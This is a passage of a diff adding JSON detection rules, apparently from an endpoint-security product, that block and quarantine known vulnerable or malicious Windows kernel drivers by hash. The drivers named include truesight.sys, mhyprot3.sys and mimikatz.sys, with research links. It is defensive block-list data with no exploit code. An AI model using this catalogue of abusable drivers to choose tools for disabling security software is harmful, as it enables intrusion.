+  "value": "a787df19468ba5fce5de825983251507867c6d3ff72d93e19466f2201013bab9",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53407e2b-cef6-5c3e-98ff-322c638c16f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462285Z",
+  "creation_date": "2026-03-23T11:45:30.462288Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462297Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "caa87fc917ab2ccf9bf2ad715173d74e031626c6bd3c80dca01f27933fec7242",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "534f24ba-8291-52a8-9818-ebcdf85e6f0c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816918Z",
+  "creation_date": "2026-03-23T11:45:30.816920Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816926Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b177164100a31fd01e7f0a24cb0a32015736d3c7c65744c21914a2d4459ef83d",
+  "comment": "Vulnerable Kernel Driver (aka CP2X72C.SYS) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53523b27-2616-5189-9754-e344bc35fbc4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.603813Z",
+  "creation_date": "2026-03-23T11:45:29.603830Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.603843Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b9ed73af3aef69dc1fb91731d6d0a649e93f83d0f07ddb9729d71c2d00ed0801",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53576683-d7cc-560a-914d-19d46271986b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969326Z",
+  "creation_date": "2026-03-23T11:45:29.969328Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969335Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dcb815eb8e9016608d0d917101b6af8c84b96fb709dc0344bceed02cbc4ed258",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "535b3f6b-a52f-5870-b2b6-cea9a1acc571",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620531Z",
+  "creation_date": "2026-03-23T11:45:29.620532Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620538Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "405472a8f9400a54bb29d03b436ccd58cfd6442fe686f6d2ed4f63f002854659",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "536a5f69-5ed6-5702-9448-65b3ce0cee3d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150053Z",
+  "creation_date": "2026-03-23T11:45:31.150055Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150061Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8dfde0032a696096b94df74e932b6f013cd93f34ec0d41caf30d1b06193b907c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53717789-cd42-53fc-bcd2-47a213d5084f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147806Z",
+  "creation_date": "2026-03-23T11:45:31.147808Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147813Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2b147582875918a84fbf5e07343a6b06bd533d79924c159549d07b63a8b0b8ab",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "537b981d-754d-5cbc-b4f5-45c203388138",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819731Z",
+  "creation_date": "2026-03-23T11:45:31.819734Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819742Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d56a9c9ce41cc5233163b3d82c646eef8eb726c441a3c0c5a46d6f5ca6c35dcf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "537be632-afd9-5b5b-b3ed-c4a6ebb8b6d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976267Z",
+  "creation_date": "2026-03-23T11:45:29.976270Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976279Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6b5cf41512255237064e9274ca8f8a3fef820c45aa6067c9c6a0e6f5751a0421",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5381555b-044c-59dc-b7a5-1b9d6f6e78d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976835Z",
+  "creation_date": "2026-03-23T11:45:29.976838Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976843Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6b17dce96ba5ae4fbbac4446758dd23ad117864bdb5c4434cb6c157947ec29c1",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53853beb-3e99-5904-8361-2b939bc5f7d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156161Z",
+  "creation_date": "2026-03-23T11:45:31.156163Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156168Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df7b1b37fb9096d864de7e8a1c136b60c92994de9e3b1f3cb51a0427eb730984",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53963025-fdd0-5008-bc46-d37e4cea4802",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476647Z",
+  "creation_date": "2026-03-23T11:45:30.476650Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476659Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ad340c8a4a6e071e15095fd286b600847cd600b7312bd573802f26a73600da7",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "539d7e02-dee4-59dd-ad44-491bd1da746b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817426Z",
+  "creation_date": "2026-03-23T11:45:31.817428Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817433Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "08ad4c86222f9964418384d93320da01e5779bfd01b0ced82a33696340bca080",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53a0030f-6c03-535f-8076-2f9781d655bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461612Z",
+  "creation_date": "2026-03-23T11:45:30.461615Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461624Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47bcbe0e7087cde7a9fb01fcec12b5ab185112c8f7f5638543715efa774b0cec",
+  "comment": "Malicious Kernel Driver (aka 5a4fe297c7d42539303137b6d75b150d.sys) [https://www.loldrivers.io/drivers/75b9b0c5-dd3e-4cf3-a693-c80f2feabb6a/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53a5fd02-f143-5408-aa1b-d2a45341aef6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612215Z",
+  "creation_date": "2026-03-23T11:45:29.612217Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612222Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5a021532f0ac453256526428ccf3518cdba4c6373cc72f340ba208b6c41b3a9e",
+  "comment": "Vulnerable Kernel Driver (aka mhyprot3.sys) [https://www.loldrivers.io/drivers/2aa003cd-5f36-46a6-ae3d-f5afc2c8baa3/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53b42dda-f89e-5e56-9331-484c2a69e399",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487540Z",
+  "creation_date": "2026-03-23T11:45:31.487542Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487548Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "378cd87cd469810c4933eb81c389bb49ed0df8b0064dfdd4fc69da83a7f95f71",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53b75eec-1a13-5d2a-8eb3-375427f39d72",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820380Z",
+  "creation_date": "2026-03-23T11:45:31.820383Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820392Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df5ac5e5d60ea0742544507f31c9e5d8fe56191005722d27253b16bf443ff911",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53b81b2e-4e4e-5562-bc85-929b54af481d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482218Z",
+  "creation_date": "2026-03-23T11:45:31.482222Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482263Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "327d978392ef5f9e18c90a38083fde7a58798cb4b83d47c6f991971e8dc50de0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53c1e441-99b0-53c0-9f3a-34a7713a8cde",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820807Z",
+  "creation_date": "2026-03-23T11:45:30.820809Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820814Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8047859a7a886bcf4e666494bd03a6be9ce18e20dc72df0e5b418d180efef250",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53c3e2af-d0ef-52d4-8d49-aae6b9b980c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604014Z",
+  "creation_date": "2026-03-23T11:45:29.604016Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604022Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7cc798804f07ba04cb1ed9233c5852d147b56df612117c54667cf3ebba975de",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53cc438d-274f-51f4-bf9d-ec3cbd5dbadf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478715Z",
+  "creation_date": "2026-03-23T11:45:31.478719Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478727Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ca062e16443d7a58c3bb3c636fb5ba996bfd587b7fe579f0164d9e705b2f94e9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53d74c83-28a7-56d9-a392-82769a8651a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604626Z",
+  "creation_date": "2026-03-23T11:45:29.604628Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604634Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "afb9e6b70f707149e7243e41ffafbdda463da9a890c56091c454df60608efa0f",
+  "comment": "Malicious Kernel Driver (aka daxin_blank3.sys) [https://www.loldrivers.io/drivers/9748d5c8-62dd-474b-a336-0aadb49e5ff9/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53d790fb-a44c-50cd-a72e-57526a7e14b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
